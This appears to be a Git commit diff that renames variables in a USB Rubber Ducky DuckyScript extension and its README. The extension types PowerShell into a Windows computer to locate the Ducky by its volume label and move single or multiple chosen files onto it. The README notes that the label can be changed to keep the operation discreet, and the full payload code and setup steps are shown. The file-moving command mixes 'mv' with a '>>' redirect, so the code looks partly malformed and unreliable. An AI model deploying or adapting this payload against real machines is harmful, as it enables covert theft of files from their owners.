from - to _
parent
2e892e4b0e
commit
9e6b405745
|
@ -9,21 +9,21 @@ How many files do you want to save?
|
|||
| |
|
||||
| |-- Do you already know the full file path? (e.g., C:\Users\Aleff\Downloads\photo.png)
|
||||
| | |
|
||||
| | |-- Use the SINGLE-FILE version
|
||||
| | |-- Use the SINGLE_FILE version
|
||||
| | | |
|
||||
| | | |-- Set #FLAG-SINGLE-FILE to TRUE
|
||||
| | | |-- Define the file path in #SINGLE-PATH
|
||||
| | | |-- Set #FLAG_SINGLE_FILE to TRUE
|
||||
| | | |-- Define the file path in #SINGLE_PATH
|
||||
| | |
|
||||
| |-- Don't know the full path but can obtain it at runtime through PowerShell?
|
||||
| | |
|
||||
| | |-- Use the $fileToSavePath variable
|
||||
| | | |
|
||||
| | | |-- Set #FLAG-SINGLE-FILE to TRUE
|
||||
| | | |-- Set #FLAG_SINGLE_FILE to TRUE
|
||||
| | | |-- Obtain the file path through PowerShell and assign it to $fileToSavePath
|
||||
|
|
||||
|-- Multiple Files
|
||||
| |
|
||||
| |-- Set the #FLAG-SINGLE-FILE variable to FALSE
|
||||
| |-- Set the #FLAG_SINGLE_FILE variable to FALSE
|
||||
| | |
|
||||
| | |-- Use an array of strings named $fileToSavePaths to collect the paths of all the files you want to use
|
||||
|
||||
|
@ -44,7 +44,7 @@ Before using the extension, you need to configure it by setting certain variable
|
|||
|
||||
### Driver Label
|
||||
|
||||
This extension utilizes the 'Get-Volume' command to scan the available volumes on the computer where the command is executed, aiming to detect our USB Rubber Ducky device. Upon detection, the device is selected to serve as a reference, allowing us to perform data saving operations. By default, USB Rubber Duckys are identified by the label 'DUCK'. However, this label can be altered, particularly if we want to keep the operation discreet. If the default label has been changed, it will be necessary to update the #DRIVER-LABEL variable with the correct label.
|
||||
This extension utilizes the 'Get-Volume' command to scan the available volumes on the computer where the command is executed, aiming to detect our USB Rubber Ducky device. Upon detection, the device is selected to serve as a reference, allowing us to perform data saving operations. By default, USB Rubber Duckys are identified by the label 'DUCK'. However, this label can be altered, particularly if we want to keep the operation discreet. If the default label has been changed, it will be necessary to update the #DRIVER_LABEL variable with the correct label.
|
||||
|
||||
### Single File or Multiple Files
|
||||
|
||||
|
@ -52,14 +52,14 @@ You can choose to send a single file or multiple files. Configure the extension
|
|||
|
||||
#### Single File Configuration
|
||||
|
||||
- **Variable**: #FLAG-SINGLE-FILE
|
||||
- **Variable**: #FLAG_SINGLE_FILE
|
||||
- **Type**: Boolean (TRUE or FALSE)
|
||||
- **Description**: Set #FLAG-SINGLE-FILE to TRUE if you want to save just one file. In this case, you will need to specify the file path within the #SINGLE-PATH variable. Alternatively, you can acquire the file path at runtime via PowerShell and store it in the $fileToSavePath variable.
|
||||
- **Description**: Set #FLAG_SINGLE_FILE to TRUE if you want to save just one file. In this case, you will need to specify the file path within the #SINGLE_PATH variable. Alternatively, you can acquire the file path at runtime via PowerShell and store it in the $fileToSavePath variable.
|
||||
|
||||
Example in DuckyScript:
|
||||
```DuckyScript
|
||||
DEFINE #FLAG-SINGLE-FILE TRUE
|
||||
DEFINE #SINGLE-PATH C:\Users\Aleff\Downloads\photo.png
|
||||
DEFINE #FLAG_SINGLE_FILE TRUE
|
||||
DEFINE #SINGLE_PATH C:\Users\Aleff\Downloads\photo.png
|
||||
```
|
||||
|
||||
Example in PowerShell before using the extension:
|
||||
|
@ -69,9 +69,9 @@ $fileToSavePath = "C:\Users\Aleff\Downloads\photo.png"
|
|||
|
||||
#### Multiple Files Configuration
|
||||
|
||||
- **Variable**: #FLAG-SINGLE-FILE
|
||||
- **Variable**: #FLAG_SINGLE_FILE
|
||||
- **Type**: Boolean (TRUE or FALSE)
|
||||
- **Description**: Set #FLAG-SINGLE-FILE to FALSE if you want to save multiple files. In this case, in PowerShell, you will have to create the variable $fileToSavePaths, which is an array of strings containing the list of paths related to the files you want to export.
|
||||
- **Description**: Set #FLAG_SINGLE_FILE to FALSE if you want to save multiple files. In this case, in PowerShell, you will have to create the variable $fileToSavePaths, which is an array of strings containing the list of paths related to the files you want to export.
|
||||
|
||||
Example in PowerShell before using the extension:
|
||||
```powershell
|
||||
|
|
|
@ -11,16 +11,16 @@ EXTENSION SAVE_FILES_IN_RUBBER_DUCKY_STORAGE_WINDOWS
|
|||
Insert this extension when you have one or more files that you want to save in your USB Rubber Ducky.
|
||||
|
||||
CONFIGURATION:
|
||||
Set #DRIVER-LABEL variable with the correct Label of your USB Rubber Ducky considering that the default value is 'DUCK'.
|
||||
Set #DRIVER_LABEL variable with the correct Label of your USB Rubber Ducky considering that the default value is 'DUCK'.
|
||||
|
||||
Set #FLAG-SINGLE-FILE with TRUE if you want to save just one file.
|
||||
In this case you will need to specify the file path within the #SINGLE-PATH variable OR, in case the exact path to the file you can only acquire it at runtime and so via the powershell, use in the powershell the $fileToSavePath variable to capture this path.
|
||||
Set #FLAG_SINGLE_FILE with TRUE if you want to save just one file.
|
||||
In this case you will need to specify the file path within the #SINGLE_PATH variable OR, in case the exact path to the file you can only acquire it at runtime and so via the powershell, use in the powershell the $fileToSavePath variable to capture this path.
|
||||
i.e. in DuckyScript EXTENSION
|
||||
DEFINE #SINGLE-PATH C:\Users\Aleff\Downloads\photo.png
|
||||
DEFINE #SINGLE_PATH C:\Users\Aleff\Downloads\photo.png
|
||||
i.e. in PowerShell before extension
|
||||
$fileToSavePath = "C:\Users\Aleff\Downloads\photo.png"
|
||||
|
||||
Set #FLAG-SINGLE-FILE FALSE if you want to send multiple files.
|
||||
Set #FLAG_SINGLE_FILE FALSE if you want to send multiple files.
|
||||
In this case in the PowerShell you will have to create the variable $fileToSavePaths, which is an array of strings that should contain the list of paths related to the files you want to save.
|
||||
i.e. in PowerShell before extension:
|
||||
$fileToSavePaths = @(
|
||||
|
@ -37,20 +37,20 @@ EXTENSION SAVE_FILES_IN_RUBBER_DUCKY_STORAGE_WINDOWS
|
|||
> $fileToSavePaths
|
||||
END_REM
|
||||
REM Settings
|
||||
DEFINE #DRIVER-LABEL DUCK
|
||||
DEFINE #FLAG-SINGLE-FILE FALSE
|
||||
DEFINE #SINGLE-PATH 0
|
||||
DEFINE #DRIVER_LABEL DUCK
|
||||
DEFINE #FLAG_SINGLE_FILE FALSE
|
||||
DEFINE #SINGLE_PATH 0
|
||||
|
||||
REM Extension Code
|
||||
FUNCTION SAVE-SINGLE-FILE()
|
||||
IF ( #SINGLE-PATH != 0 ) THEN
|
||||
STRINGLN mv #SINGLE-PATH >> ${m}:\
|
||||
ELSE IF ( #SINGLE-PATH == 0 ) THEN
|
||||
FUNCTION SAVE_SINGLE_FILE()
|
||||
IF ( #SINGLE_PATH != 0 ) THEN
|
||||
STRINGLN mv #SINGLE_PATH >> ${m}:\
|
||||
ELSE IF ( #SINGLE_PATH == 0 ) THEN
|
||||
STRINGLN mv ${fileToSavePath} >> ${m}:\
|
||||
END_IF
|
||||
END_FUNCTION
|
||||
|
||||
FUNCTION SAVE-MULTIPLE-FILES()
|
||||
FUNCTION SAVE_MULTIPLE_FILES()
|
||||
STRINGLN
|
||||
foreach ($fileToSavePath in $fileToSavePaths) {
|
||||
mv ${fileToSavePath} >> ${m}:\
|
||||
|
@ -58,11 +58,11 @@ EXTENSION SAVE_FILES_IN_RUBBER_DUCKY_STORAGE_WINDOWS
|
|||
END_STRINGLN
|
||||
END_FUNCTION
|
||||
|
||||
STRINGLN $m=(Get-Volume -FileSystemLabel '#DRIVER-LABEL').DriveLetter;
|
||||
IF_DEFINED_TRUE #FLAG-SINGLE-FILE
|
||||
SAVE-SINGLE-FILE()
|
||||
STRINGLN $m=(Get-Volume -FileSystemLabel '#DRIVER_LABEL').DriveLetter;
|
||||
IF_DEFINED_TRUE #FLAG_SINGLE_FILE
|
||||
SAVE_SINGLE_FILE()
|
||||
END_IF_DEFINED
|
||||
IF_NOT_DEFINED_TRUE #FLAG-SINGLE-FILE
|
||||
SAVE-MULTIPLE-FILES()
|
||||
IF_NOT_DEFINED_TRUE #FLAG_SINGLE_FILE
|
||||
SAVE_MULTIPLE_FILES()
|
||||
END_IF_DEFINED
|
||||
END_EXTENSION
|
||||
|
|
Loading…
Reference in New Issue